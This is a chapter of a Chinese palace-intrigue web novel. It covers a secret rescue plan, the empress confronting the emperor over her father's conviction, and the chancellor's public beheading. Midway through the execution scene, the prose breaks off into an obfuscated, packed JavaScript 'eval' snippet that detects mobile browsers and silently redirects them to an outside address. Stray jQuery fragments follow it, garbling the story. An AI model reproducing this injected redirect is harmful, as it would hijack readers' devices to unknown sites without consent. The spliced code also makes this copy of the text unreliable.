37. 刑场
作品:《鹤归春色》 萧南言从皇宫回来后,目光呆滞地坐在自己卧房中,
看着那烛灯火闪烁。
可她眸中却没有从前的欣喜。
顾春迟突然一身黑裙,从窗户处翻了进来。
“谁?”
萧南言警惕地望着来人。
“是我,南言姐姐。”
顾春迟低声说。
待她的面庞在烛火的照耀下逐渐清晰时,
萧南言这才放下自己的戒备,怔愣着看着她,表情有些不可置信。
泪水依然在她眼中打转,却始终没有落下来,
那盏燃烧了许久的灯芯,突然发生啪的一声清脆,才叫她的思绪重新拉了回来。
“你怎么……”
可她的话还没说完,便被顾春迟打断。
“南言姐姐,长话短说,我有办法救他们,只是需要你配合。”
“什么……”
刚开口,萧南言忽而停住了,她一时间不知要说些什么。
要拒绝吗?
可她想要救的是自己儿女的命。
可要答应吗?
倘若这件事暴露,会给顾家带来无妄之灾。
萧南言依旧犹豫着,不知作何反应。
可顾春迟却是微勾着唇角,露出一抹胸有成竹的笑容。
“南言姐姐,你放心吧,我顾春迟要救的人,阎王也不敢跟我抢人。”
听到这话,萧南烟有些诧异地望着她,眼神呆愣,
直到看清眼前那人眼中的乖戾。
这才恍然醒悟,
原来这么多年,
唯一不变的只有自己。
曾经纯真的小女孩如今也被权力熏陶,变得乖张狠厉。
“那……”
萧南言缓缓攥紧手,她沉默了片刻,
种种回忆在脑海中肆意翻涌,
最后她下定决心,
问:
“那我应该怎么做?”
“南言姐姐,你去和陛下申请前往自己的封地,无诏永不回京。”
顾春迟的双眸深邃,她就这样平静的看着萧南言,
“几天之后我会安排人,把他们送到你的封地。”
萧南言并没有怀疑,以为顾春迟口中的他们是指自己的那一双儿女,
倒也没追问,只是点了点头,
“好。”
顾春迟的提议,其实也是她心里的想法。
现如今,这京都没有什么值得她留恋的。
丈夫被下狱、儿女被囚禁、就连自己最小亲近的姐姐也早早被迫和亲远嫁匈奴,
只是临走前,拜托顾春迟照料一下自己在宫中的母妃华贵嫔。
华贵嫔早在得知萧南言想要离开京都时,
虽说心中万分不舍,但到底对女儿的在意大过旁的。
*
萧尘一身华丽龙袍,推开望月殿的宫门,走进皇后的寝宫。
当自己寝宫的大门被人推开后,皇后才抬眼望向来人。
萧尘皱着眉,望向殿中央端站着的皇后,声音冷淡:
“皇后唤朕前来,有何事?”
将面前人眼底的冷漠收入眼底时,皇后这才醒悟自己这么多年来爱错了人。
她冷漠地看向皇帝,却怎么也掩饰不住自己语气中的厌恶:
“臣妾只想问陛下一件事,还望陛下如实相告。”
萧尘悠然地上前,坐在那椅子上,点了点头,
“那是自然,这么多年来,朕何时欺瞒过你。”
皇后冷笑一声,声音尖锐,
“臣妾只想问陛下一句,臣妾的父亲当真和前朝遗民有所联系吗?”
“是定国公查出来的,那些书信便是证据,”
萧尘的动作微微一顿,脸上依旧是风轻云淡的模样,
“证据确凿,即便朕有意保下丞相,可满朝文武百官看着,朕有心无力啊。”
听到他这不容置否的话,皇后是半点也不相信他口中的有心无力,
自己的父亲虽说是以前朝朝臣的身份入朝为官,可他一生清廉,从未做过有害昭国的事情,
为何皇帝就这般容不下他?
字字句句想要指责他的话哽在喉间,
她低头沉默了很久,最后才跪在他跟前,
祈求道:
“还请陛下看在和臣妾二十八年的夫妻情面上,饶过家父和侄子一命吧。”
看在皇后跪在自己面前卑微的模样,萧尘不得不承认自己有那么一刻的动容。
杨家嫡女杨思君,当年是京中权贵子弟趋之若鹜,想要求娶的贵女。
她才貌双全,身份高贵,骨子里也有几分高傲,
从未这般卑微地求着自己,
上次这么卑微,还是十年前求自己不要将萧祝与送去和亲。
即便如此,可他依旧是不痛不痒的模样,
“皇后,你该知道,法不容情。”
“丞相毕竟和前朝遗民那么多年都在来往,不可否认的是,他真的有谋逆之心。”
“皇后啊,你是一国之后。你该明白的,他必须死。”
闻言,杨思君的身子忽然僵住了,似乎有些不敢相信自己的枕边人竟会说出这般冠冕堂皇的话。
呵,
法不容情?
倘若他真的遵守律法,又何至于当年陷害肃王,从他手中夺得皇位?
倘若他真的遵守律法,当年又何至于为了坐上那个位置,给先帝下毒?
倘若他真的遵守律法,十年前又怎么会为了从祁家手中拿到军权,以莫须有的罪名,判了祁家满门抄斩?
倘若他真的遵守律法,又怎么会因为忌惮顾家功高盖主,将陆明昭和顾秋辞活生生烧死?
他口中的法不容情,只是只容得下自己,容不得别人罢了。
想到这些,杨思君突然无法支撑自己继续活下去了。
她当即瘫软在地,双眸含泪,声音悲痛,
“哈哈哈哈,是我杨思君识人不清,我杨思君才是勾结前朝的逆贼……”
她的声音嘶哑,在这空荡的寝宫中,一字一句地诉说着自己的哀怨与仇恨,
“我杨思君本是前朝太傅之女。可三十年前,大朝亡国,殿下失踪。我忘记了殿下的模样,我也同样忘记了家仇国恨。”
“我怎么能忘记殿下的样子呢?我怎么能忘记报仇呢……”
“你一定会遭报应的。因果轮回,我便看着你坐拥万里江山,享受无尽孤独,哈哈哈哈——”
看着自己的发妻如今有些疯魔的样子,萧尘依旧是一脸无所谓的模样,
“皇后,你要认清现实,大朝早已亡国。现如今是昭国。”
杨思君癫狂地笑了笑,
“只要我记得大朝,只要有一个子民在,大朝就永远不会亡国!”
她忽然仰起头,直直地望着萧尘,眼神狠厉,
“萧尘,我便看着你如何坐拥江山……”
萧尘的耐心逐渐耗尽,他扼制住杨思君的脖颈,
声音狠厉:
“皇后,朕奉劝你最好安分守己,你要好好想想,你还有太子和昭阳两个孩子。”
听到自己孩子的名字,杨思君身子僵硬,她忽而自嘲笑着,
“哈哈哈哈,孩子……”
现在想想这两个孩子有着萧氏的血液,便让她作呕。
*
虽说波折过多,可处刑的日子也渐在眼前。
年迈的丞相坐在那潮湿肮脏的牢狱地面,
他望着那方寸的日光,眼眸中多了几分回忆。
饶是他在牢狱中待了一天又一天,
可他心里清楚地知道,
今天是他的死期,
也是他在这个世上的最后一天。
“陛下有令,带罪臣杨晓赴刑场处刑。”
侍卫首领宣告着他的死期,可眸中也多了几分不忍和尊重。
杨晓闻言扭过头来,眸中平静异常,
他站起身来,朝门外走着。
可当他走到先前自家孙子杨松青呆过的囚牢中,脚步停顿了。
他侧身看了几眼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061861|162521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴角微微地上扬。
前日,杨松青突而意外中毒,在大夫的遗憾摇头中被狱卒抬了出去。
那时他便知道了,是顾春迟出手了。
无论如何,杨家的血脉没有断在他手上,
哪怕是死后,
他至少有了脸面去面对杨家的列祖列宗。
“丞相大人,可以走了。”
在杨晓停顿的那片刻中,侍卫犹豫着开口催促。
“嗯。”
杨晓点了点头,一步一步地走出了漆黑的狱牢。
刑场在民间长街之上,
是皇帝定下的位置。
想必是为了震慑其他怀有不轨之心的人。
刑场周围围了一圈百姓,他们的眼中有好奇有畏惧,却也有惋惜。
丞相的清名,那些百姓早早便有耳闻。
可如今,清正廉明的丞相却被查出与前朝遗民有所联系,
陛下判他意欲谋反。
一道圣旨,便落下了血腥。
“丞相来了!”
人群中突然响起了一道声音,大家争先恐后地踮着脚去看。
却见杨晓手腕处挂着粗重的锁链,随着他的走动晃动。
“丞相大人……”
人群中有曾经受过杨晓恩惠的百姓,此刻却双眼含泪地望着他,
语气中满是不舍和惋惜。
没有囚车运送,杨晓被迫从大理寺狱牢中一步一步走向长街处的刑场。
那是一条长到望不到尽头的道路,
却是可以看到他既知的命运。
这一路上他心中想了很多很多,
想起从前在大朝皇城中教导皇太女、
想起大朝亡国前国主私下召见他时的嘱托、
想起大朝亡国时皇城上漫天的火光……
想到最后,他脑海中竟什么都没有了。
只有眼前的路、身后的侍卫、还有暗沉的天,
以及,
道路两侧跟随着他一步一步走着的百姓。
刑场对面的楼阁,
顾春迟看着那道挺直脊背的身影走上刑场,心中思绪万千。
天色依旧阴沉,浓烈的乌云层层而来,让人分不清是什么时间,
“大人,已经午时了。”
监斩官身侧的侍从低声凑近他。
听到已经到了午时,监斩官看了看人群,又抬头看了一眼天色,
最后将自己眼前的书案上的一道圣旨展开,
“奉天承运,皇帝诏曰:罪人杨晓,勾结前朝叛贼,意欲谋反。经三司会审,罪证确凿,今依律斩首示众,以正国法。本官奉命监斩,众将士听令,准备行刑!”
随着监斩官的一声“斩”,刽子手高举大刀,
刀刃在阴天下泛着严寒的冷光。
不知道是什么情绪涌上心头,杨晓眼眸满是泪水,他却是忽地大笑起来,声音嘹亮,响彻长街:
“我杨晓一生傲骨,忠君主。无愧于君主、无愧于百姓、无愧于同僚。这一生,唯独愧于大朝!”
他的话响彻长街,人群突然安静下来。
烈烈的风声肆意奔腾,可他们眼中却只有那高台之上一字一句说着自己对大朝有愧的丞相。
可是后来,
刀刃划破了空气,鲜血喷涌而出。
一代朝臣,便落下了人生的帷幕。
杨晓的头颅落地,在刑场上翻滚了几圈,
可他的眼睛却迟迟未合上。
恍惚间,他似乎还是从前大朝皇城中为皇太女传道授业解惑的太傅,
他仿佛看见了长灯节上满城长空上飘着承载了国民心愿的孔明灯。
狂风卷起,刑场上的血腥味便飘向人群,
有胆小的百姓移开了视线,不忍看那残忍的一面。
这是昭国建国三十年来,第二次在长街之上斩首朝堂重臣。
第一次,是十年前镇国将军的处刑。
没有谋反,没有勾结,没有不忠,
只有皇帝为了稳固帝位不惜残害朝臣。